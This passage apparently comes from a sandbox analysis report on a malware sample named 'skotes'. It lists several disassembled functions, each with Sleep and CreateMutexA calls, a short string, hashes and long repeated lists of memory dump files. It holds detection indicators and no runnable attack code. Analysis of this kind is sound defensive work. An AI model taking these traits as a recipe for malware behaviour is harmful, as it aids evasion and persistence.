Instruction Fuzzy Hash: 8D312831744204ABFB1CBBB8DC8D7BCB762EB85310F24821AE164D72D1D77D59848712

Function 0078A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 568ef746f60acf7993c30f7311fb3f15af0f6e4acd3c8c34fb71f152c522fa5d
Instruction ID: 43a7f1bed051be79f970af7923616455a5109663d4f5d5cd571b7ed26ce242d3
Opcode Fuzzy Hash: 568ef746f60acf7993c30f7311fb3f15af0f6e4acd3c8c34fb71f152c522fa5d
Instruction Fuzzy Hash: 23310731B44244ABFB1CABB8DD8DB6DB772EB85310F24821AE014972D5E77D69848712

Function 0078A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 099668c69c901ee7dcb4813f0697a2e6ec578ed06fe41c4b14ebc713f5d121e6
Instruction ID: 5e5ad471288f54e1304e76c5fe583dfaff16f1626ce2ef15597aef932e9fe79b
Opcode Fuzzy Hash: 099668c69c901ee7dcb4813f0697a2e6ec578ed06fe41c4b14ebc713f5d121e6
Instruction Fuzzy Hash: 7F311831B44244ABFB1CABB8DC8DB6DB772ABC6310F24421AE054972D1D77D69848712

Function 0078A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 8bfd864c035360aab8d91d6241e79f51729e39347cdf30a811b3da56af821340
Instruction ID: de92608d1b352c19674bab206d32bdd36b11c521c01258c65499e8fabc7332ff
Opcode Fuzzy Hash: 8bfd864c035360aab8d91d6241e79f51729e39347cdf30a811b3da56af821340
Instruction Fuzzy Hash: 58310B31B44240EBFF1CBBBCD88DB6DB661EB85310F24421AE058D72D6D77D69848762

Function 0078A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 97fb3b6a7212ef2700615d42436754f51a254d65ad1a77f54d8b7cc6bf69fb49
Instruction ID: dc85c724327694c8a030005de21e9749ac6e01e3b630c0c4cc47b3e2d1c14dfb
Opcode Fuzzy Hash: 97fb3b6a7212ef2700615d42436754f51a254d65ad1a77f54d8b7cc6bf69fb49
Instruction Fuzzy Hash: B6312931745200ABFB18BBB8DC8DB6CB761EBC5314F24821AE0549B2D6D73D99808712

Function 0078A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 43783b3b98ef61a0d2b417de28a8acb36128959f91178ddd8cf1e0f34948c4a1
Instruction ID: dafdf01adc298be69f5a43d838692134056d98cf915f30db4e9911062d984b67
Opcode Fuzzy Hash: 43783b3b98ef61a0d2b417de28a8acb36128959f91178ddd8cf1e0f34948c4a1
Instruction Fuzzy Hash: 32312731745200ABFB18AB78DC8DB6DB772EB85310F24821AE014972D6D77D99808752

Function 00789ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
